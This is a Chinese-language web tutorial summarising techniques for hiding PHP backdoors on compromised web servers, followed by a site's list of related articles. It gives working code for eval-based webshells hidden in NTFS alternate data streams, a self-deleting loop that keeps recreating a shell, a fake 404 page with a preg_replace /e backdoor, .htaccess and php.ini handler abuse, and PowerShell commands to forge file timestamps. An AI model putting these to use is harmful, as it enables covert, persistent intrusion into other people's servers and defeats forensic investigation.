PHP后门隐藏的一些技巧总结


Posted in PHP onNovember 04, 2020

前言

如果想让自己的Webshell留的更久一些,除了Webshell要免杀,还需要注意一些隐藏技巧,比如隐藏文件,修改时间属性,隐藏文件内容等。

1、隐藏文件

使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。

attrib +s +a +h +r shell.php //隐藏shell.php文件

2、修改文件时间属性

当你试图在一堆文件中隐藏自己新创建的文件,那么,除了创建一个迷惑性的文件名,还需要修改文件的修改日期。

//修改时间修改
Set-ItemProperty -Path 2.txt LastWriteTime -Value "2020-11-01 12:12:12"
//访问时间修改
Set-ItemProperty -Path 2.txt LastAccessTime -Value "2020-11-01 12:12:12"
//创建时间修改
Set-ItemProperty -Path 2.txt CreationTime -Value "2020-11-01 12:12:12"

使用命令获取文件属性

Get-ItemProperty -Path D:\1.dll | Format-list -Property * -Force

修改某个文件夹下所有文件的创建和修改时间

powershell.exe -command "ls 'upload\*.*' | foreach-object { $_.LastWriteTime = Get-Date ; $_.CreationTime = '2018/01/01 19:00:00' }"

3、利用ADS隐藏文件内容

在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:

echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg

这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。

利用include函数,将index.php:hidden.jpg进行hex编码,把这个ADS文件include进去,这样子就可以正常解析我们的一句话了。

<?php @include(PACK('H*','696E6465782E7068703A68696464656E2E6A7067'));?>

4、不死马

不死马会删除自身,以进程的形式循环创建隐蔽的后门。

<?php
set_time_limit(0); 
ignore_user_abort(1); 
unlink(__FILE__); //删除自身
while(1)
{ 
 file_put_contents('shell.php','<?php @eval($_GET[cmd]);?>'); //创建shell.php,这里最好用免杀的一句话
 sleep(10); //间隔时间
}
?>

处理方式最简单有效的办法,就是重启服务就可以删除webshell文件。

5、中间件后门

将编译好的so文件复制到modules文件夹,启动后门模块,重启Apache。当发送特定参数的字符串过去时,即可触发后门。

github项目地址:

https://github.com/VladRico/apache2_BackdoorMod

6、利用404页面隐藏后门

404页面主要用来提升用户体验,可用来隐藏后门文件。

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>

7、利用 .htaccess 文件构成PHP后门

一般.htaccess可以用来留后门和针对黑名单绕过,在上传目录创建.htaccess 文件写入,无需重启即可生效,上传png文件解析。

AddType application/x-httpd-php .png

另外,在.htaccess 加入php解析规则,把文件名包含1的解析成php,上传1.txt即可解析。

<FilesMatch "1"> 
SetHandler application/x-httpd-php 
</FilesMatch>

8、利用 php.ini 隐藏后门文件

php.ini 中可以指定在主文件执行前后自动解析的文件名称,常用于页面公共头部和尾部,也可以用来隐藏php后门。

;在PHP文档之前自动添加文件。
auto_prepend_file = "c:\tmp.txt"
;在PHP文档之后自动添加文件。
auto_prepend_file = "c:\tmp.txt"

需重启服务生效,访问任意一个php文件即可获取webshell。

总结

到此这篇关于PHP后门隐藏的一些技巧的文章就介绍到这了,更多相关PHP后门隐藏技巧内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

PHP 相关文章推荐
PHP6 mysql连接方式说明
Feb 09 PHP
php新建文件自动编号的思路与实现
Jun 27 PHP
PHP SPL使用方法和他的威力
Nov 12 PHP
php常用字符串处理函数实例分析
Nov 22 PHP
php自动获取关键字的方法
Jan 06 PHP
php实现用于删除整个目录的递归函数
Mar 16 PHP
Linux操作系统安装LAMP环境
Jun 26 PHP
PHP类的封装与继承详解
Sep 29 PHP
CentOS下搭建PHP环境与WordPress博客程序的全流程总结
May 07 PHP
round robin权重轮循算法php实现代码
May 28 PHP
php通过header发送自定义数据方法
Jan 18 PHP
thinkphp3.2.0 setInc方法 源码全面解析
Jan 29 PHP
phpstudy2020搭建站点的实现示例
Oct 30 #PHP
解决PHPstudy Apache无法启动的问题【亲测有效】
Oct 30 #PHP
PhpStorm 2020.3:新增开箱即用的PHP 8属性(推荐)
Oct 30 #PHP
2020最新版 PhpStudy V8.1版本下载安装使用详解
Oct 30 #PHP
PHP fopen中文文件名乱码问题解决方案
Oct 28 #PHP
PHP dirname功能及原理实例解析
Oct 28 #PHP
基于ThinkPHP删除目录及目录文件函数
Oct 28 #PHP
You might like
Extended CHM PHP 语法手册之 DIY
2006/10/09 PHP
发挥语言的威力--融合PHP与ASP
2006/10/09 PHP
一个PHP的QRcode类与大家分享
2011/11/13 PHP
javascript实现youku的视频代码自适应宽度
2015/05/25 Javascript
直接拿来用的15个jQuery代码片段
2015/09/23 Javascript
JavaScript中判断数据类型的方法总结
2016/05/24 Javascript
浅谈json取值(对象和数组)
2016/06/24 Javascript
原生js图片轮播效果实现代码
2016/10/19 Javascript
WEB 前端开发中防治重复提交的实现方法
2016/10/26 Javascript
AngularJS框架的ng-app指令与自动加载实现方法分析
2017/01/04 Javascript
使用async await 封装 axios的方法
2018/07/09 Javascript
解决vue.js this.$router.push无效的问题
2018/09/03 Javascript
Vue中的$set的使用实例代码
2018/10/08 Javascript
Nuxt项目支持eslint+pritter+typescript的实现
2019/05/20 Javascript
jQuery实现form表单基于ajax无刷新提交方法实例代码
2019/11/04 jQuery
js实现简单的随机点名器
2020/09/17 Javascript
Python操作MySQL简单实现方法
2015/01/26 Python
pycharm 实现显示project 选项卡的方法
2019/01/17 Python
解析Python3中的Import
2019/10/13 Python
python将时分秒转换成秒的实例
2019/12/07 Python
python中前缀运算符 *和 **的用法示例详解
2020/05/28 Python
html5中canvas学习笔记2-判断浏览器是否支持canvas
2013/01/06 HTML / CSS
英国最受欢迎的手表网站:Watch Shop
2016/10/21 全球购物
Under Armour安德玛荷兰官网:美国高端运动科技品牌
2019/07/10 全球购物
外企C语言笔试题
2013/11/10 面试题
销售类个人求职信范文
2013/09/25 职场文书
运动会广播稿20字
2014/02/18 职场文书
老师对学生的寄语
2014/04/09 职场文书
火锅店的活动方案
2014/08/15 职场文书
教师党的群众路线教育实践活动个人对照检查材料
2014/09/23 职场文书
离婚协议书怎样才有法律效力
2014/10/10 职场文书
2014年技术员工作总结
2014/11/18 职场文书
2015年团支部工作总结
2015/04/03 职场文书
鸦片战争观后感
2015/06/09 职场文书
JS数组方法some、every和find的使用详情
2021/10/05 Javascript
Win11如何设置右键单击显示所有选项?Win11右键单击显示所有选项设置教程
2022/04/08 数码科技